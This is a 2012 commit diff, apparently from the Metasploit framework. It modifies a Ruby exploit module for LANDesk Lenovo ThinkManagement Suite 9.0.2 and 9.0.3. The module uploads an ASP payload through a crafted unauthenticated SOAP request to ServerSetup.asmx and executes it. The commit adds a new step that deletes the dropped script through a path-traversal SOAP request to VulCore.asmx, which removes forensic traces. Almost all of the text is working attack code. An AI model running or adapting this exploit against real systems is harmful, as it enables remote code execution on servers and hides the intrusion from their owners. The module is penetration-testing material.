deletion of the ASP script

unstable
juan 2012-04-07 20:19:45 +02:00
parent 8761d39190
commit ee7bce5995
1 changed files with 49 additions and 8 deletions

View File

@ -19,10 +19,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This module can be used to execute a payload on LANDesk Lenovo
ThinkManagement Suite 9.0.2 and 9.0.3.
The payload is uploaded as an ASP script using a specially crafted
SOAP request to /landesk/managementsuite/core/core.anonymous/ServerSetup.asmx
The payload is uploaded as an ASP script sending a specially crafted
SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
specifying a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
as argument.
After execution the ASP script with the payload is deleted sending a
specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
specifying a "SetTaskLogByFile" operation.
},
'Author' => [
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
@ -39,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'Targets' =>
[
[ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3', { } ],
[ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
@ -63,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
upload_random = rand_text_alpha(rand(6) + 6)
upload_xml_path = "upl\\#{upload_random}.asp"
upload_xml_path = "ldlogon\\#{upload_random}.asp"
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
@ -71,10 +74,10 @@ class Metasploit3 < Msf::Exploit::Remote
<soap:Body>
<RunAMTCommand xmlns="http://tempuri.org/">
<Command>-PutUpdateFileCore</Command>
<Data1>aaaa</Data1>
<Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>
<Data2>#{upload_xml_path}</Data2>
<Data3>#{asp}</Data3>
<ReturnString>bbbb</ReturnString>
<ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>
</RunAMTCommand>
</soap:Body>
</soap:Envelope>
@ -91,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => '"http://tempuri.org/RunAMTCommand"',
'SOAPAction' => "\"http://tempuri.org/RunAMTCommand\"",
},
'data' => soap,
}, 20)
@ -106,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
#
# EXECUTE
#
upload_path = uri_path + "upl/#{upload_random}.asp"
upload_path = uri_path + "ldlogon/#{upload_random}.asp"
print_status("Executing #{upload_path}...")
res = send_request_cgi({
@ -124,6 +127,44 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
#
# DELETE
#
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetTaskLogByFile xmlns="http://tempuri.org/">
<computerIdn>1</computerIdn>
<taskid>1</taskid>
<filename>../#{upload_random}.asp</filename>
</SetTaskLogByFile>
</soap:Body>
</soap:Envelope>
eos
attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
print_status("Deleting #{upload_path} through #{attack_url}...")
res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"",
},
'data' => soap,
}, 20)
if (! res)
print_error("Deletion failed on #{attack_url} [No Response]")
return
elsif (res.code < 200 or res.code >= 300)
print_error("Deletion failed on #{attack_url} [#{res.code} #{res.message}]")
return
end
handler
end